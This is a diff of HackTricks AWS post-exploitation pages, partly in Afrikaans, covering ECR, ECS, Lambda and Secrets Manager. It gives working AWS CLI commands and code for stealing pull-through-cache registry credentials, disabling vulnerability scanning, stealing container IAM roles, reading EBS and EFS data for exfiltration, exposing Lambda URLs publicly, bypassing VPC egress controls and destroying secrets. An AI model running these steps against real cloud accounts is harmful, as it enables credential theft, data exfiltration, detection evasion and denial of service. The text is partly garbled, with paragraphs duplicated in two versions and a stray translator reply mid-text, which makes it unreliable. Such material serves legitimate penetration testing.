# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
{{#include ../../../../banners/hacktricks-training.md}}
### Exfiltrate opstroom-registrasie-aanmeldbewyse van ECR Pull‑Through Cache (PTC)
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
Indien ECR Pull‑Through Cache gekonfigureer is vir geauthentiseerde upstream registries (Docker Hub, GHCR, ACR, ens.), word die upstream credentials gestoor in AWS Secrets Manager met 'n voorspelbare naamvoorvoegsel: `ecr-pullthroughcache/`. Operateurs gee soms ECR-admins uitgebreide lees-toegang tot Secrets Manager, wat credential exfiltration en hergebruik buite AWS moontlik maak.
As ECR Pull‑Through Cache gekonfigureer is vir geverifieerde opstroom-registries (Docker Hub, GHCR, ACR, etc.), word die opstroom-aanmeldbewyse gestoor in AWS Secrets Manager met 'n voorspelbare naamvoorvoegsel: `ecr-pullthroughcache/`. Operateurs verleen soms ECR-admins breë Secrets Manager lees-toegang, wat exfiltration van aanmeldbewyse en hergebruik buite AWS moontlik maak.
Vereistes
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Lys kandidaat PTC-sekrete
Enumereer kandidaat PTC-sekrete
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
Laai ontdekte geheime uit en ontleed algemene velde
Onttrek ontdekte geheime en ontleed algemene velde
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -123,21 +118,21 @@ Opsioneel: verifieer leaked creds teen die upstream (read‑only login)
```bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
Impak
- Die lees van hierdie Secrets Manager-inskrywings lewer herbruikbare upstream registry credentials (username/password or token), wat buite AWS misbruik kan word om private images te trek of toegang tot addisionele repositories te kry, afhangend van upstream-permissies.
Impact
- Lees van hierdie Secrets Manager-inskrywings lewer herbruikbare upstream registry-credentials (gebruikersnaam/wagwoord of token), wat buite AWS misbruik kan word om private images te pull of toegang tot addisionele repositorieë te kry, afhangend van upstream-permissies.
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
### Registervlak stealth: deaktiveer of verlaag die skandering via `ecr:PutRegistryScanningConfiguration`
'n Aanvaller met registry-level ECR-permissions kan stilweg die outomatiese kwesbaarheidskandering vir ALLE repositories verminder of deaktiveer deur die registry scanning configuration op BASIC te stel sonder enige scan-on-push-reëls. Dit voorkom dat nuwe image pushes outomaties gescan word, en verberg kwesbare of kwaadwillige images.
'n Aanvaller met registry-level ECR-regte kan stilweg die outomatiese kwetsbaarheidskandering vir ALLE repositorieë verminder of deaktiveer deur die registry scanning configuration op BASIC te stel sonder enige scan-on-push-reëls. Dit verhoed dat nuwe image pushes outomaties geskan word en verberg kwesbare of kwaadwillige images.
Vereistes
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
- ecr:PutImageScanningConfiguration (opsioneel, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verifikasie)
Register-wye afgradering na handmatig (geen outomatiese skanderings nie)
Register-wye terugskakeling na handmatig (geen outomatiese skanderings)
```bash
REGION=us-east-1
# Read current config (save to restore later)
@@ -149,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
--scan-type BASIC \
--rules '[]'
```
Toets met 'n repo en 'n image
Toets met 'n repo en image
```bash
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
@@ -164,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
I don't have the README.md content. Please paste the file's markdown here (or upload the text) and I'll translate the English to Afrikaans while preserving all markdown, code, links, tags, and paths per your instructions.
Opsioneel: verder degradeer op repo-vlak
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
@@ -173,19 +168,19 @@ aws ecr put-image-scanning-configuration \
--image-scanning-configuration scanOnPush=false
```
Impak
- Nuwe beelde wat regoor die register gedruk word, word nie outomaties geskandeer nie, wat die sigbaarheid van kwesbare of kwaadwillige inhoud verminder en die opsporing vertraag totdat 'n handmatige skandering geïnisieer word.
- Nuwe image pushes oor die register word nie outomaties scanned nie, wat sigbaarheid van kwesbare of kwaadwillige inhoud verminder en opsporing vertraag totdat 'n handmatige scan geïnisieer word.
### Register‑wye afgradering van die skandering‑engine via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
### Register‑wye scanning-enjin afgradering via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
Verminder die kwaliteit van kwesbaarheidsopsporing oor die hele register deur die BASIC scan engine van die verstek AWS_NATIVE na die ouer CLAIR engine te skuif. Dit deaktiveer nie skandering nie, maar kan bevindinge en dekking beduidend verander. Kombineer dit met 'n BASIC registry scanning configuration sonder reëls om skanderings slegs-manueel te maak.
Verminder kwesbaarheid‑opsporing se gehalte oor die hele register deur die BASIC scan enjin van die standaard AWS_NATIVE na die legacy CLAIR enjin te skakel. Dit deaktiveer nie scanning nie, maar kan gevindes/omvang beduidend verander. Kombineer dit met 'n BASIC register scanning‑konfigurasie sonder reëls om scans slegs handmatig te maak.
Vereistes
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (Opsioneel) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
Impak
- Registerinstelling `BASIC_SCAN_TYPE_VERSION` word op `CLAIR` gestel sodat daaropvolgende BASIC scans met die afgegradeerde engine loop. CloudTrail neem die `PutAccountSetting` API-oproep op.
- Register‑instelling `BASIC_SCAN_TYPE_VERSION` gestel op `CLAIR` sodat daaropvolgende BASIC scans met die afgegradeerde enjin uitgevoer word. CloudTrail neem die `PutAccountSetting` API‑oproep op.
Stappe
```bash
@@ -206,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
{{#include ../../../../banners/hacktricks-training.md}}

44
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
View File

@@ -10,10 +10,10 @@ For more information check:
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Gasheer IAM-rolle
### Host IAM Roles
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
Dit beteken dat as jy daarin slaag om **compromise** 'n ECS instance jy moontlik die **IAM role associated to the ECR and to the EC2 instance** kan obtain. Vir meer inligting oor hoe om daardie credentials te kry, kyk:
In ECS kan 'n **IAM role can be assigned to the task** toegeken word aan die taak wat binne die container loop. **If** die taak binne 'n **EC2** instance gedraai word, sal die **EC2 instance** 'n **another IAM** role daaraan gekoppel hê.\
Dit beteken dat as jy daarin slaag om 'n ECS instance te **compromise**, kan jy moontlik die **IAM role associated to the ECR and to the EC2 instance** bekom. Vir meer inligting oor hoe om daardie credentials te kry, kyk:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
@@ -24,21 +24,21 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### Privesc to node to steal other containers creds & secrets
Boonop gebruik EC2 docker om ECS tasks te run, so as jy kan escape na die node of **access the docker socket**, kan jy **check** watter **ander containers** ge-run word, en selfs **get inside of them** en **steal their IAM roles** wat daaraan gekoppel is.
Maar verder gebruik EC2 docker om ECs tasks te run, so as jy kan ontsnap na die node of **access the docker socket**, kan jy **check** watter **other containers** gedraai word, en selfs **get inside of them** en **steal their IAM roles** wat daaraan gekoppel is.
#### Making containers run in current host
Verder sal die **EC2 instance role** gewoonlik genoeg **permissions** hê om die **container instance state** van die EC2 instances wat as nodes in die cluster gebruik word, te **update**. 'n attacker kan die **state of an instance to DRAINING** wysig; dan sal ECS **remove all the tasks from it**, en dié wat as **REPLICA** gerun word, sal in 'n ander instance run, moontlik binne die **attacker instance**, sodat hy hul **IAM roles** en potensieel sensitiewe inligting binne die container kan **steal**.
Verder sal die **EC2 instance role** gewoonlik genoeg **permissions** hê om die **update the container instance state** van die EC2 instances wat as nodes in die cluster gebruik word, uit te voer. 'n Aanvaller kan die **state of an instance to DRAINING** wysig, dan sal ECS **remove all the tasks from it** en die take wat as **REPLICA** gedraai word, sal **run in a different instance**, moontlik binne die **attackers instance**, sodat hy hul **steal their IAM roles** en potensiële sensitiewe inligting van binne die container kan kry.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
Dieselfde tegniek kan gedoen word deur **die ontregistrering van die EC2-instansie uit die kluster**. Dit is potensieel minder stealthy, maar dit sal **die tasks dwing om op ander instances uitgevoer te word:**
Dieselfde tegniek kan uitgevoer word deur **deregistering the EC2 instance from the cluster**. Dit is moontlik minder sluipend, maar dit sal **force the tasks to be run in other instances:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
'n finale tegniek om die her-uitvoering van take af te dwing is deur ECS aan te dui dat die **task or container was stopped**. Daar is 3 potensiële APIs om dit te doen:
'n Finale tegniek om die her-uitvoering van tasks af te dwing, is om aan ECS te dui dat die **task or container was stopped**. Daar is 3 potensiële APIs om dit te doen:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
@@ -52,36 +52,34 @@ aws ecs submit-attachment-state-changes ...
```
### Steel sensitiewe inligting uit ECR containers
Die EC2 instansie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **download images** (jy kan soek na sensitiewe inligting daarin).
{{#include ../../../../banners/hacktricks-training.md}}
Die EC2-instansie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **afbeeldings af te laai** (jy kan soek na sensitiewe inligting daarin).
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
### Koppel 'n EBS snapshot direk in 'n ECS taak (configuredAtLaunch + volumeConfigurations)
Misbruik die native ECS EBS integrasie (2024+) om die inhoud van 'n bestaande EBS snapshot direk binne 'n nuwe ECS taak/service te mount en sy data van binne die container te lees.
Misbruik die inheemse ECS–EBS-integrasie (2024+) om die inhoud van 'n bestaande EBS snapshot direk binne 'n nuwe ECS taak/service te monteer en die data van binne die container te lees.
- Benodigdhede (minimum):
- Benodig (minimum):
- ecs:RegisterTaskDefinition
- Een van: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- Een van: ecs:RunTask OF ecs:CreateService/ecs:UpdateService
- iam:PassRole op:
- ECS infrastruktuurrol wat vir volumes gebruik word (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles wat in die taakdefinisie verwys word
- As die snapshot met 'n CMK enkripteer is: KMS permissions vir die infrastruktuurrol (die AWS managed policy hierbo sluit die vereiste KMS-toestemmings vir AWS managed keys in).
- ECS infrastructure role wat vir volumes gebruik word (beleid: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles wat deur die task definition verwys word
- As die snapshot met 'n CMK geïnkripteer is: KMS permissions vir die infra role (die AWS managed policy hierbo sluit die vereiste KMS grants vir AWS managed keys in).
- Impak: Lees willekeurige skyfinhoud uit die snapshot (bv. databasislêers) binne die container en exfiltrateer via netwerk/logs.
- Impak: Lees arbitrêre skyfinhoud vanaf die snapshot (bv. databasislêers) binne die container en exfiltrate via network/logs.
Stappe (Fargate voorbeeld):
1) Skep die ECS infrastruktuurrol (as dit nie bestaan nie) en heg die managed policy aan:
1) Skep die ECS infrastructure role (as dit nie bestaan nie) en heg die managed policy aan:
```bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) Registreer 'n taakdefinisie met 'n volume gemerk as `configuredAtLaunch` en koppel dit in die container. Voorbeeld (druk die geheim uit en slaap daarna):
2) Registreer 'n task definition met 'n volume gemerk `configuredAtLaunch` en mount dit in die container. Voorbeeld (druk die secret uit en slaap dan):
```json
{
"family": "ht-ebs-read",
@@ -101,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
3) Skep of werk 'n diens by en gee die EBS-snapshot deur via `volumeConfigurations.managedEBSVolume` (vereis iam:PassRole op die infra-rol). Voorbeeld:
3) Skep of werk 'n diens op, en gee die EBS-snapshot deur via `volumeConfigurations.managedEBSVolume` (vereis iam:PassRole op die infra-rol). Voorbeeld:
```json
{
"cluster": "ht-ecs-ebs",
@@ -115,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
]
}
```
4) Wanneer die taak begin, kan die container die snapshot-inhoud by die gekonfigureerde mount path lees (bv. `/loot`). Exfiltrate via die taak se network/logs.
4) Wanneer die task start, kan die container die snapshot-inhoud by die gekonfigureerde mount path lees (e.g., `/loot`). Exfiltrate via the task’s network/logs.
Opruiming:
```bash
@@ -123,4 +121,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
{{#include ../../../../banners/hacktricks-training.md}}

30
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
View File

@@ -1,20 +1,22 @@
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
Misbruik `lambda:UpdateFunctionConfiguration` om 'n bestaande EFS Access Point aan 'n Lambda te heg, en ontplooi daarna eenvoudige kode wat lêers vanaf die gemonteerde pad lys/lees om shared secrets/config te exfiltrate wat die funksie voorheen nie kon bereik nie.
{{#include ../../../../banners/hacktricks-training.md}}
## Vereistes
- Permissies op die slagoffer-rekening/prinsipaal:
Misbruik `lambda:UpdateFunctionConfiguration` om 'n bestaande EFS Access Point aan 'n Lambda te koppel, en ontplooi dan eenvoudige kode wat lêers uit die gemonteerde pad lys en lees om gedeelde secrets/config te exfiltrate wat die funksie voorheen nie kon bereik nie.
## Requirements
- Permissions on the victim account/principal:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (om funksies te vind)
- `lambda:ListFunctions` (to find functions)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (om te bevestig dat mount targets bestaan)
- Omgewingsveronderstellings:
- Teiken-Lambda is VPC-enabled en sy subnets/SGs kan die EFS mount target SG oor TCP/2049 bereik (bv. die rol het AWSLambdaVPCAccessExecutionRole en VPC-roete laat dit toe).
- Die EFS Access Point is in dieselfde VPC en het mount targets in die AZs van die Lambda-subnets.
- `efs:DescribeMountTargets` (to confirm mount targets exist)
- Environment assumptions:
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
## Aanval
## Attack
- Veranderlikes
```
REGION=us-east-1
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) Oorskryf kode met 'n eenvoudige leser wat lêers lys en na die eerste 200 bytes van 'n kandidaat geheim/config-lêer loer
2) Oorskryf die kode met 'n eenvoudige leser wat lêers lys en die eerste 200 bytes van 'n kandidaat-geheime/konfigurasie-lêer bekyk.
```
cat > reader.py <<PY
import os, json
@@ -57,19 +59,19 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://re
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) Roep aan en kry die data
3) Roep aan en haal die data
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
Die uitvoer moet die gidslys onder /mnt/ht bevat en 'n klein voorskou van 'n gekose secret/config-lêer vanaf EFS.
Die uitvoer moet die gidslys onder /mnt/ht bevat en 'n klein voorskou van 'n gekose geheim/konfigurasielêer vanaf EFS.
## Impak
'n aanvaller met die gelysde permissies kan arbitraire in-VPC EFS Access Points in slagoffer Lambda-funksies mount om gedeelde konfigurasie en geheime wat op EFS gestoor is te lees en te exfiltrate wat voorheen ontoeganklik was vir daardie funksie.
'n Aanvaller met die genoemde toestemmings kan arbitrêre in-VPC EFS Access Points in slagoffer Lambda-funksies mount om gedeelde konfigurasie en geheime wat op EFS gestoor is, te lees en te exfiltreer wat voorheen ontoeganklik was vir daardie funksie.
## Opruiming
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}

22
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
View File

@@ -1,38 +1,40 @@
# AWS - Lambda Function URL Publieke Blootstelling (AuthType NONE + Public Invoke Policy)
# AWS - Lambda Function URL Openbare Blootstelling (AuthType NONE + Public Invoke Policy)
Skakel 'n private Lambda Function URL om na 'n publieke onbevestigde endpoint deur die Function URL AuthType na NONE te verander en 'n resource-based policy aan te heg wat lambda:InvokeFunctionUrl aan almal toestaan. Dit stel anonieme aanroep van interne funksies in staat en kan sensitiewe backend-operasies openbaar maak.
{{#include ../../../../banners/hacktricks-training.md}}
## Misbruik daarvan
Skakel 'n private Lambda Function URL om na 'n openbare, nie-geauthentiseerde endpoint deur die Function URL AuthType na NONE te verander en 'n resource-based policy aan te heg wat lambda:InvokeFunctionUrl aan almal verleen. Dit maak anonieme aanroep van interne funksies moontlik en kan sensitiewe backend-werkvloei blootlê.
## Misbruik
- Vereistes: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Region: us-east-1
### Stappe
1) Maak seker die funksie het 'n Function URL (standaard is AWS_IAM):
1) Maak seker die funksie het 'n Function URL (standaard: AWS_IAM):
```
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
2) Skakel die URL na publiek (AuthType NONE):
2) Skakel die URL na openbaar (AuthType NONE):
```
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
```
3) Voeg 'n resource-based policy statement by om ongeauthentiseerde principals toe te laat:
3) Voeg 'n resource-based policy-stelling by om nie-geauthentiseerde principals toe te laat:
```
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
```
4) Haal die URL en roep sonder credentials aan:
4) Haal die URL op en roep aan sonder credentials:
```
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
```
### Impak
- Die Lambda funksie word anoniem toeganklik oor die internet.
- Die Lambda funksie word anoniem beskikbaar oor die internet.
### Voorbeelduitset (unauthenticated 200)
### Voorbeelduitset (nie-geauthentiseerde 200)
```
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
{{#include ../../../../banners/hacktricks-training.md}}

10
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
View File

@@ -1,12 +1,16 @@
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
Misbruik `lambda:PutRuntimeManagementConfig` om 'n funksie aan 'n spesifieke runtime-weergawe te bind (Manual) of om opdaterings te vries (FunctionUpdate). Dit behou verenigbaarheid met kwaadwillige layers/wrappers en kan die funksie op 'n verouderde, kwesbare runtime hou om eksploitasie en langtermyn persistentie te vergemaklik.
{{#include ../../../../banners/hacktricks-training.md}}
Misbruik `lambda:PutRuntimeManagementConfig` om 'n funksie aan 'n spesifieke runtime-weergawe te pin (Manual) of om opdaterings te vries (FunctionUpdate). Dit behou versoenbaarheid met kwaadwillige layers/wrappers en kan die funksie op 'n verouderde, kwesbare runtime laat staan om uitbuiting en langtermyn-persistensie te vergemaklik.
Vereistes: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
Voorbeeld (us-east-1):
- Aanroep: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Vries opdaterings: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Vries opdaterings in: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Verifieer: `aws lambda get-runtime-management-config --function-name --region us-east-1`
Opsioneel kan jy die funksie aan 'n spesifieke runtime-weergawe bind deur die Runtime Version ARN uit INIT_START logs te onttrek en `--update-runtime-on Manual --runtime-version-arn <arn>` te gebruik.
Opsioneel kan jy 'n funksie aan 'n spesifieke runtime-weergawe pin deur die Runtime Version ARN uit die INIT_START logs te onttrek en `--update-runtime-on Manual --runtime-version-arn <arn>` te gebruik.
{{#include ../../../../banners/hacktricks-training.md}}

33
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
View File

@@ -1,16 +1,18 @@
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
{{#include ../../../../banners/hacktricks-training.md}}
## Misbruik daarvan
Dwing 'n Lambda-funksie uit 'n beperkte VPC deur die konfigurasie na 'n leë VpcConfig by te werk (SubnetIds=[], SecurityGroupIds=[]). Die funksie sal dan in die Lambda-managed networking plane loop, herwin uitgaande internettoegang en egress-beheer wat deur privaat VPC-subnets sonder NAT afgedwing is, omseil.
- Vereistes: lambda:UpdateFunctionConfiguration op die teikenfunksie (en lambda:InvokeFunction om te valideer), plus toestemmings om code/handler te verander indien nodig.
- Aannames: Die funksie is tans gekonfigureer met VpcConfig wat na private subnets sonder NAT wys (dus outbound internet is geblokkeer).
- Streek: us-east-1
## Abusing it
### Stappe
- Pre-reqs: lambda:UpdateFunctionConfiguration op die teikenfunksie (en lambda:InvokeFunction om te valideer), plus permitte om code/handler op te dateer indien jy dit verander.
- Assumptions: Die funksie is tans gekonfigureer met VpcConfig wat na privaat subnets sonder NAT wys (dus uitgaande internet is geblokkeer).
- Region: us-east-1
0) Berei 'n minimale handler voor wat bewys dat outbound HTTP werk
### Steps
0) Berei 'n minimale handler voor wat bewys dat uitgaande HTTP werk
cat > net.py <<'PY'
import urllib.request, json
@@ -26,7 +28,7 @@ zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
1) Neem die huidige VPC-config op (om later te herstel indien nodig)
1) Neem huidige VPC-konfigurasie op (om later te herstel indien nodig)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json
@@ -39,25 +41,26 @@ aws lambda update-function-configuration \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) Roep aan en verifieer outbound toegang
3) Roep aan en verifieer uitgaande toegang
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Opsioneel) Herstel oorspronklike VPC-config
(Optional) Herstel oorspronklike VpcConfig
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi
### Impak
- Herwin onbeperkte outbound internettoegang vanaf die funksie, wat data exfiltration of C2 moontlik maak van workloads wat doelbewus in private subnets sonder NAT geïsoleer was.
### Impact
- Herwin onbeperkte uitgaande internettoegang vanaf die funksie, wat data-exfiltrasie of C2 moontlik maak vanaf workloads wat doelbewus geïsoleer is in privaat subnets sonder NAT.
### Voorbeelduitset (na ontkoppeling van VpcConfig)
### Example output (after detaching VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
### Opruiming
- As jy enige tydelike code/handler-wyse gemaak het, herstel dit.
### Cleanup
- As jy enige tydelike code/handler-wijzigings geskep het, herstel dit.
- Opsioneel herstel die oorspronklike VpcConfig wat in /tmp/orig-vpc.json gestoor is soos hierbo getoon.
{{#include ../../../../banners/hacktricks-training.md}}

61
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
View File

@@ -4,22 +4,22 @@
## Secrets Manager
Vir meer inligting, sien:
Vir meer inligting, kyk:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Read Secrets
### Lees Secrets
Die **secrets self is sensitiewe inligting**, [sien die privesc-blad](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) om te leer hoe om dit te lees.
Die **secrets self is sensitiewe inligting**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) om te leer hoe om dit te lees.
### DoS Change Secret Value
### DoS Verander Secret Value
Deur die waarde van die secret te verander, kan jy **DoS al die stelsels wat van daardie waarde afhanklik is.**
Deur die waarde van die secret te verander kan jy **DoS al die stelsels wat van daardie waarde afhanklik is.**
> [!WARNING]
> Let daarop dat vorige waardes ook gestoor word, so is dit maklik om net terug te keer na die vorige waarde.
> Neem kennis dat vorige waardes ook gestoor word, so dit is maklik om net terug te gaan na die vorige waarde.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
@@ -28,17 +28,17 @@ aws secretsmanager put-secret-value \
```
### DoS Change KMS key
As die aanvaller die secretsmanager:UpdateSecret-toestemming het, kan hulle die geheim so konfigureer dat dit 'n KMS key gebruik wat deur die aanvaller besit word. Daardie key is aanvanklik so ingestel dat enigiemand toegang daartoe kan kry en dit kan gebruik, dus is dit moontlik om die geheim met die nuwe key by te werk. As die key nie toeganklik was nie, kon die geheim nie bygewerk word nie.
As die aanvaller die secretsmanager:UpdateSecret permit het, kan hulle die secret konfigureer om 'n KMS key wat deur die aanvaller besit word te gebruik. Daardie KMS key is aanvanklik so opgestel dat enigiemand toegang daartoe kan hê en dit kan gebruik, dus is dit moontlik om die secret met die nuwe KMS key by te werk. As die KMS key nie toeganklik was nie, sou die secret nie opgedateer kon word nie.
Na die verandering van die key vir die geheim, wysig die aanvaller die konfiguratie van hul key sodat slegs hulle daartoe toegang het. Op hierdie manier sal toekomstige weergawes van die geheim met die nuwe key versleuteld word, en aangesien daar geen toegang daartoe is nie, sal die vermoë om die geheim te verkry verlore gaan.
Na die verandering van die KMS key vir die secret verander die aanvaller die konfiguratie van hul KMS key sodat net hulle daartoe toegang het. Op hierdie manier sal volgende weergawes van die secret met die nuwe KMS key geënkripteer wees, en omdat daar geen toegang daartoe is nie, sal die vermoë om die secret te onttrek verlore wees.
Dit is belangrik om daarop te let dat hierdie ontoeganklikheid slegs in latere weergawes sal voorkom, nadat die inhoud van die geheim verander, want die huidige weergawe is nog steeds versleuteld met die oorspronklike KMS key.
Dit is belangrik om op te let dat hierdie ontoeganklikheid slegs in later weergawes sal voorkom, nadat die inhoud van die secret verander het, aangesien die huidige weergawe nog met die oorspronklike KMS key geënkripteer is.
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
### DoS Verwydering van geheim
### DoS: Verwydering van 'n geheim
Die minimum aantal dae om 'n geheim te verwyder is 7
```bash
@@ -48,16 +48,16 @@ aws secretsmanager delete-secret \
```
## secretsmanager:RestoreSecret
Dit is moontlik om 'n geheim te herstel, wat die herstel van geheime wat vir verwydering geskeduleer is, toelaat, aangesien die minimum verwyderingsperiode vir geheime 7 dae is en die maksimum 30 dae. Saam met die secretsmanager:GetSecretValue-permissie maak dit moontlik om hul inhoud te verkry.
